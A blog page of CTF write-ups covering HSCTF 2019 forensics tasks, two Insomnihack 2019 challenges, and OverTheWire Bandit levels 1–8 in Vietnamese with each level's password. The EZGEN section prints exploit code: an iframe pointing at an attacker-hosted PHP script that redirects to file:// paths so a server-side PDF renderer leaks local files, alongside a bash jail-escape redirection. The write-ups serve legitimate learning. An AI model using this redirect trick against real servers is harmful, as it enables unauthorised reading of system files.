Showing posts with label Linux. Show all posts
Showing posts with label Linux. Show all posts

Saturday, June 8, 2019

[Writeup] HSCTF 2019

FORENSICS

Chicken Crossing


Use strings and grep command in linux I have a flag.
Flag: hsctf{2_get_2_the_other_side}

Cool Image

The author give us a file with extension is .pdf, but I can open it, check back the header I realize it is the .png file so I just change the extension and get flag.


Cool Image 2

This time I can't open the PNG file. Like cool image 1 I open it in HXD and I see the auther add some stuffs at the header and make operation can't realize the png file. Just delete all of it I have true image:

Slap


Once again, I use strings and grep command in linux and take flag
Flag: hsctf{twoslapsnonetforce}


Logo sucks bad


When I use Stegsolve on the image, I see at top of image have been changed, so I believe the Image changed by LSB. I used zsteg and have flag.
Flag: hsctf{th4_l3est_s3gnific3nt_bbbbbbbbbbbbb}


Saturday, March 23, 2019

[Writeup] Insomnihack final 2019

myBrokenBash

For this challenge, the author give us something about stdout and when I try to send something the server will reply the string that I send, it's make me remember to a challenge in Ringzer0 CTF about bash shell jail escaping. It use file description to bypass stdout. Redirect from stdout to stdin by ls * 1>&0 I can see the flag file.


But I got the problem when I try to cat a flag, I only have a half flag



Maybe another file contain another half flag but the grep command only direct me to that file, so I think it have been filtered output. After a little help form my mates, I used base64 command and got a flag.


Flag: INS{c@t_th3_Flag_1t_s_n0t_so_ea4y}

EZGEN

I write this writeup base on my mate solution, I just help him found flag's direction because I found it at mybashbroken. This challenge have problem is LFI and he wrote a code on his vps to get flag. The code below is just a old version because he reset windows after competion end so I can't have best code for you.

index.html


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <title></title>
  <link rel="stylesheet" href="">
</head>
<body>
  <iframe width="800" height="800" src="http://<IP_YOUR_SERVER>/file.php?file=/var/www/html/webtopdf.php"></iframe>
</body>
</html>

file.php


1
2
3
4
<?php
$filename = $_GET['file'];
header("Location: file://$filename");
?>

The flag saved at /flag
(This is my first test, correct is /flag not flag)
And I got flag


Wednesday, February 27, 2019

[Writeup] OverTheWire - Bandit

Level 1:

Thử thách này sau khi kết nối đến server dùng lệnh ls, chúng ta thấy một file readme cat file đó chúng ta có được password cho level tiếp theo.

Password: boJ9jbbUNNfktd78OOpsqOltutMc3MY1

Level 2:

Dùng lệnh ls -lia kiểm tra, chúng ta thấy có 1 file -, vì là special character nên khi dùng lệnh cat - chúng ta không thể đọc được. Để bypass chúng ta dùng cat ./- 

Password: CV1DtqXWVFXTvM2F0k09SHz0YwRINYA9

Level 3:

Chúng ta cần file cat file spaces in this filename tuy nhiên vì trong tên file có dấu cách nếu chúng ta chỉ đơn thuần dùng lệnh cat spaces in this filename thì sẽ sai vì câu lệnh này tương đương với cat 4 file: spaces, in, this, filename. Thay vào đó ta cần thêm dấu \ vào cuối kết thúc mối từ hoặc đơn giản hơn là dùng phím tab ta sẽ có lệnh hoàn chỉnh: cat spaces\ in\ this\ filename

Password: UmHadQclWmgdLOKQ3YNgjWxGoRMb5luK

Level 4:

Vẫn tiếp tục dùng lệnh ls -lia mình thấy có file .hidden, cat .hidden và chúng ta có được password truy cập level 5:

Password: pIwrPrtPN36QITSp3EQaw936yaFoFgAB

Level 5:

Chúng ta có 10 file cả thẩy, thì mình nghĩ cat lần lượt từng file sẽ ra được password cho level 6, tuy nhiên có một cách nhanh hơn đó là dùng lệnh file để xem file nào đọc được. Thử file00 với lệnh file ./-file00 mình nhận được kết quả là file data, đối với tất cả các file mình dùng lệnh: file ./* dễ dàng nhìn thấy file07 là file chứa chuỗi ascii có thể đọc được. cat ./-file07 mình có được password.

Password: koReBOKuIDDepwhWk7jZC0RTdopnAYKh

Level 6:

Bài này trong thư mục inhere có rất nhiều file và folder và rất nhiều file dạng ascii nên mình không biết được file nào là file cần tìm. Tuy nhiên để ý description của bài này thì chúng ta có gợi ý là file có thể đọc được size là 1033 byte và không thể thực thi. Mình thử tìm xem có bao nhiêu file có kích thước là 1033 byte với lệnh find -size 1033c  (chữ c trong find là dùng cho đơn vị byte) thì chỉ có đúng một file ở đường dẫn thỏa điều kiện là maybehere07/.file2

Password: DXjZPULLxYr17uwoI01bNLQbtFemEgo7

Level 7:

Tương tự level 6 mình dùng lệnh find và thêm các hint ở phần description, mình out ra cây thư mục với lệnh cd../../ sau đó kiếm file bằng lệnh find -size 33c -user bandit7 -group bandit6 , tuy nhiên thì lúc đầu mình bị stuck vì nhìn chỉ toàn thấy permision denied, chỉ khi làm lại một lần nữa và bình tĩnh hơn mình mới thấy file ./var/lib/dpkg/info/bandit7.password là không bị permision denied, cat file và lấy flag cho bài sau thôi.

Password: HKBPTKQnIay4Fw76bEy8PVxKEDQRKTzs

Level 8:

Ở phần description cho mình biết cần phải lấy mật khẩu ở bên cạnh từ millionth. Lúc đầu mình cũng không hiểu lắm nhưng thử dùng lệnh strings data.txt thì mình mới hiểu. File chia có 2 cột vì vậy mình chỉ cần kiếm được dòng có chứa từ millionth thì sẽ có được password cho level sau, sử dụng strings và grep strings data.txt | grep millionth mình có được password.

Password: cvX2JJa4CFALtqS87jk27qwqGhBM9plV